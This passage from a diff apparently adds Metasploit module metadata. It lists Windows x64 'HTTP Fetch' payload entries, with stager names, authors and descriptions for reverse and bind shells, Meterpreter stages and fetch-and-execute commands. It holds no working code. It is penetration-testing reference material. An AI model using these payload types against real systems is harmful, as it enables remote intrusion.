+ "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/windows/http/x64/custom/bind_ipv6_tcp": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/custom/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp" + }, + "payload_cmd/windows/http/x64/custom/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/http/x64/custom/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/http/x64/custom/bind_named_pipe": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/http/x64/custom/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_named_pipe" + }, + "payload_cmd/windows/http/x64/custom/bind_tcp": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/custom/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp" + }, + "payload_cmd/windows/http/x64/custom/bind_tcp_rc4": { + "name": "HTTP Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/custom/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_rc4" + }, + "payload_cmd/windows/http/x64/custom/bind_tcp_uuid": { + "name": "HTTP Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/custom/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_uuid" + }, + "payload_cmd/windows/http/x64/custom/reverse_http": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_http", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_http" + }, + "payload_cmd/windows/http/x64/custom/reverse_https": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "hdm ", + "agix", + "rwincey" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_https", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_https" + }, + "payload_cmd/windows/http/x64/custom/reverse_named_pipe": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_named_pipe" + }, + "payload_cmd/windows/http/x64/custom/reverse_tcp": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp" + }, + "payload_cmd/windows/http/x64/custom/reverse_tcp_rc4": { + "name": "HTTP Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_rc4" + }, + "payload_cmd/windows/http/x64/custom/reverse_tcp_uuid": { + "name": "HTTP Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_uuid" + }, + "payload_cmd/windows/http/x64/custom/reverse_winhttp": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttp" + }, + "payload_cmd/windows/http/x64/custom/reverse_winhttps": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttps" + }, + "payload_cmd/windows/http/x64/exec": { + "name": "HTTP Fetch, Windows x64 Execute Command", + "fullname": "payload/cmd/windows/http/x64/exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nExecute an arbitrary command (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/exec", + "staged": false + }, + "payload_cmd/windows/http/x64/loadlibrary": { + "name": "HTTP Fetch, Windows x64 LoadLibrary Path", + "fullname": "payload/cmd/windows/http/x64/loadlibrary", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "scriptjunkie", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nLoad an arbitrary x64 library path", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/loadlibrary", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/loadlibrary", + "staged": false + }, + "payload_cmd/windows/http/x64/messagebox": { + "name": "HTTP Fetch, Windows MessageBox x64", + "fullname": "payload/cmd/windows/http/x64/messagebox", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "pasta " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a dialog via MessageBox using a customizable title, text & icon", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/messagebox", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/messagebox", + "staged": false + }, + "payload_cmd/windows/http/x64/meterpreter/bind_ipv6_tcp": { + "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp" + }, + "payload_cmd/windows/http/x64/meterpreter/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/http/x64/meterpreter/bind_named_pipe": { + "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a pipe connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_named_pipe" + }, + "payload_cmd/windows/http/x64/meterpreter/bind_tcp": { + "name": "HTTP Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp" + }, + "payload_cmd/windows/http/x64/meterpreter/bind_tcp_rc4": { + "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_rc4" + }, + "payload_cmd/windows/http/x64/meterpreter/bind_tcp_uuid": { + "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_uuid" + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_http": { + "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_http", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_http" + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_https": { + "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "agix", + "rwincey" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_https", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_https" + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_named_pipe": { + "name": "HTTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + 